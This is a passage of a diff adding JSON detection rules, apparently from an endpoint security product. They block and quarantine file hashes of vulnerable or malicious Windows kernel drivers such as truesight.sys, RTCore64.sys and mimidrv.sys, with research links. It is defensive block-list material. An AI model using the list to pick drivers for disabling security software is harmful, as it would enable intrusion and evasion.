+  "last_update": "2026-03-23T11:45:31.155906Z",
+  "creation_date": "2026-03-23T11:45:31.155908Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155914Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "99a7c55161c2d016cc3eb8ce3265adeddb877692642940207ca5de6a703c0a19",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5b041cd6-35ba-5989-a51a-e4d82ad9bd37",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144688Z",
+  "creation_date": "2026-03-23T11:45:32.144690Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144696Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8248306bcc5fae20fd4f3d5c44f962c85cddbe020b34a1799350ce2034154b7d",
+  "comment": "Malicious Kernel Driver (aka windivert.sys) [https://www.loldrivers.io/drivers/45a31a17-f78d-48ec-beba-74f6bfc5f96e/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5b07790c-7e11-59dd-a07c-17410bd4f478",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.460794Z",
+  "creation_date": "2026-03-23T11:45:30.460798Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.460806Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d7a61c671eab1dfaa62fe1088a85f6d52fb11f2f32a53822a49521ca2c16585e",
+  "comment": "Vulnerable Kernel Driver (aka RTCore64.sys) [https://www.loldrivers.io/drivers/e32bc3da-4db1-4858-a62c-6fbe4db6afbd/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5b0cb0a5-44ea-5019-a4bb-6575ec428c0d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.479475Z",
+  "creation_date": "2026-03-23T11:45:30.479477Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.479483Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee8ee16198dd8eec8d5fbb7f98f64bb849b2dfcf652cc102f4cdc63a4551549f",
+  "comment": "Vulnerable Kernel Driver (aka segwindrvx64.sys) [https://www.loldrivers.io/drivers/a4aa80bc-4ecd-49ab-bc0f-0f49b07fdd7f/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5b180cca-d32d-5a97-8a19-39ef0930801e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.453842Z",
+  "creation_date": "2026-03-23T11:45:30.453845Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.453855Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "11dcfa779763dd6e26344b32dd779bb49be470a7b9b43b5f03738c17fed06aa8",
+  "comment": "Vulnerable Kernel Driver (aka nicm.sys) [https://www.loldrivers.io/drivers/86cff0de-2536-4b8d-a846-a7312c569597/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5b1f520f-251e-5247-a7d0-d3cdf941edc0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968458Z",
+  "creation_date": "2026-03-23T11:45:29.968460Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968465Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "033a14d3863dcb5b990788697a1096fd1f03586694b7872bb47826953f69c9f0",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5b20b6cd-95f1-5be4-8e81-17f616783845",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820373Z",
+  "creation_date": "2026-03-23T11:45:30.820375Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820380Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6f806a9de79ac2886613c20758546f7e9597db5a20744f7dd82d310b7d6457d0",
+  "comment": "Vulnerable Kernel Driver (aka rtport.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5b3c2c9a-acc6-5b21-9a5c-5b834cc9d31f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.826332Z",
+  "creation_date": "2026-03-23T11:45:31.826335Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.826340Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "689d7260ad115a4d5d45cbd44769208925a1441fe5b0d1ba15f9b14371f936e8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5b40c88f-711a-58ee-a80f-01194192dacb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470961Z",
+  "creation_date": "2026-03-23T11:45:30.470964Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470973Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "01096e6d09cad1af557561f678e70434355a4d07a94ba97774957c16e87bab6a",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5b4b6ecc-05b1-584e-8db0-0e152ef00ec1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.471469Z",
+  "creation_date": "2026-03-23T11:45:30.471472Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.471482Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "db73b0fa032be22405fa0b52fbfe3b30e56ac4787e620e4854c32668ae43bc33",
+  "comment": "Vulnerable Kernel Driver (aka AsIO.sys) [https://www.loldrivers.io/drivers/bd7e78db-6fd0-4694-ac38-dbf5480b60b9/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5b4cb740-90d3-54ec-be83-ca9474f0faf7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.457041Z",
+  "creation_date": "2026-03-23T11:45:30.457044Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.457053Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1fe70267698ba60012ca4c2c0f21325236bafc7b42fa977a09afa6a0c5ed3784",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5b72ffda-4f5b-5add-8e10-10fe0ee2f202",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823446Z",
+  "creation_date": "2026-03-23T11:45:31.823449Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823456Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7ed8bb1bd3663e2c641a46fd5c35c0275c5f89436abf8a83b3fbdb8eb1a534c8",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5b7c83d3-8d9d-52ad-9715-7f3075819438",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620388Z",
+  "creation_date": "2026-03-23T11:45:29.620390Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620395Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "aa9ab1195dc866270e984f1bed5e1358d6ef24c515dfdb6c2a92d1e1b94bf608",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5b8ab76f-337a-58e7-9b46-41b701737176",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155206Z",
+  "creation_date": "2026-03-23T11:45:31.155208Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155213Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d20aa6ed460e6727acaa1a81f3305c5c32626f5f973d6839461c6d7292fb185b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5b96dc37-1f27-5374-9b68-b9c6e3ab7dff",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.817865Z",
+  "creation_date": "2026-03-23T11:45:30.817868Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.817890Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "419b5bca6d43650893d5e044e785c0ad87cbe1185de0d3feaa9f681c6e7f50b4",
+  "comment": "Vulnerable Kernel Driver (aka dellbios.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5ba26841-1043-567b-ac27-96295134e597",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144409Z",
+  "creation_date": "2026-03-23T11:45:32.144412Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144417Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d40f6a680914df8c6cf8dda62332ad829a91815ad94439b920af986f93939a7d",
+  "comment": "Malicious Kernel Driver (aka idmtdi.sys) [https://www.loldrivers.io/drivers/c2e98102-2055-48f0-9449-3e7a7f2c0ffe/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5ba68e64-64c4-5208-9efe-347c3d239566",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.462849Z",
+  "creation_date": "2026-03-23T11:45:30.462852Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.462861Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "60ee78a2b070c830fabb54c6bde0d095dff8fad7f72aa719758b3c41c72c2aa9",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5ba6b281-326b-5f0a-b14f-b3c7ed603d33",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.826981Z",
+  "creation_date": "2026-03-23T11:45:30.826983Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.826988Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "544be349a5bd52275bd943bfd7d0c1f486d526c27528cb3020e23da4a905afab",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5bb34de9-c08c-5a99-bdfa-d2af69539ef9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149789Z",
+  "creation_date": "2026-03-23T11:45:31.149791Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149797Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "49de16e30da6d3639cb06b2cee03ce75677caf95ba9e9ca5b89e3b8cdeca5fdb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5bec0360-9605-589e-9e9b-0f957d18edab",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821799Z",
+  "creation_date": "2026-03-23T11:45:31.821802Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821811Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "46cfe42abb9263471121ecdf6f0af023b2e9dd2ab6733b2138fd0657a5fee997",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c0201d7-1a57-56d2-bb66-1b112f5842b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155119Z",
+  "creation_date": "2026-03-23T11:45:31.155121Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155126Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e3bfc1fc0f8b5516d82ea982269ee6075c2d28a429c3be7f3f3249c5adb96b74",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c061ae9-6588-5736-9f23-e1fb6e1a5642",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619717Z",
+  "creation_date": "2026-03-23T11:45:29.619718Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619724Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a6f8aa3de5b4aea58eddd45807d722c864d4bc4a38ad573174af864e21f0d526",
+  "comment": "Super Micro Computer dangerous update tool (aka superbmc.sys) [https://www.loldrivers.io/drivers/9074a02a-b1ca-4bfb-8918-5b88e91c04a2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "5c063c73-64f8-52d4-ba75-d79251201ec2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971615Z",
+  "creation_date": "2026-03-23T11:45:29.971617Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971623Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a59ad5be59f73f2a138c70d8aa634bf5f3364a67e072b64ff2a6d4627514a9ad",
